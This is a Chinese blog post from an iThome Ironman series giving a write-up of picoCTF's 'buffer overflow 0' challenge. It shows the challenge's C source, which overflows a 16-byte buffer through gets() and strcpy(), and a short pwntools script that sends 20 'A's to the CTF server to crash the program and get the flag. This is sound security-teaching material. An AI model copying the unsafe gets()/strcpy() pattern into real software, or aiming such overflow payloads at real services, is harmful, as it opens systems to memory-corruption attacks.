iT邦幫忙

2023 iThome 鐵人賽

DAY 28
0

前言

原本 D28 和 D29 預計是要寫 MISC 主題,但發現兩天好像也沒辦法把 MISC 介紹完整,乾脆再寫兩題 Pwn 的題目好了,這次在 picoCTF 選了這題 buffer overflow 0,希望可以順利解開。

Write-up

來看看題目給的原始碼:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

先看 main() 的部分,會先讀進 flag.txt,如果沒讀到的話程式就結束。後面設定了 segmentation fault 的 handler,就是當程式遇到 segmentation fault 的時候會執行 handler 裡面的程式。

signal(SIGSEGV, sigsegv_handler);

再來看看 sigsegv_handler(),裡面就把 flag 印出來了,也就是我們能寫到 segfault 就可以得到 flag。

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

我們繼續往後看 main(),可以看到 gets(),加上 vuln() 裡面的 strcpy(),這邊應該有個 buffer overflow。

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

因為 buffer 長度是 16 bytes,我們打 16+4 個 A 進去試試看:

from pwn import *

p = remote("saturn.picoctf.net", 65443)
context.log_level = "debug"

payload = "A" * 20

p.sendlineafter("Input: ", payload)
flag = p.recvline()
print(flag)

成功獲得 flag~
https://ithelp.ithome.com.tw/upload/images/20231012/20162615Okz4kdilQS.png

不過仔細看 log 會發現實際上傳了 21 bytes 而不是 20 bytes,因為 sendline 後面還加了換行符號,並且改成 19 個 A 就不會 segfault,應該是因為 20 個 bytes 只會蓋掉 caller ebp,並不會蓋到 return address,所以也沒造成 segfault。

後記

本來這題只拿到 flag 應該是蠻快的,但還花了一點時間理解為什麼是 21 個 bytes 開始才會 segfault,解完之後找其他人的說明發現了這個影片:
https://youtu.be/sLsgSC6ViS8&t=590
後面不知道什麼原因,打了 27 個 A,但只有 segfault 卻沒有 flag,打 28 個才有 XD
雖然他的題目的程式碼略有不同,是直接把 argv[1] 傳進 vuln(),但這個狀況還是蠻神奇的 🤔


上一篇
Day 27. Pwn - Out-of-bound 實戰
下一篇
Day 29. Pwn - 今天我們來猜拳
系列文
進了資安公司當後端 RD 才入門資安會不會太晚了30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言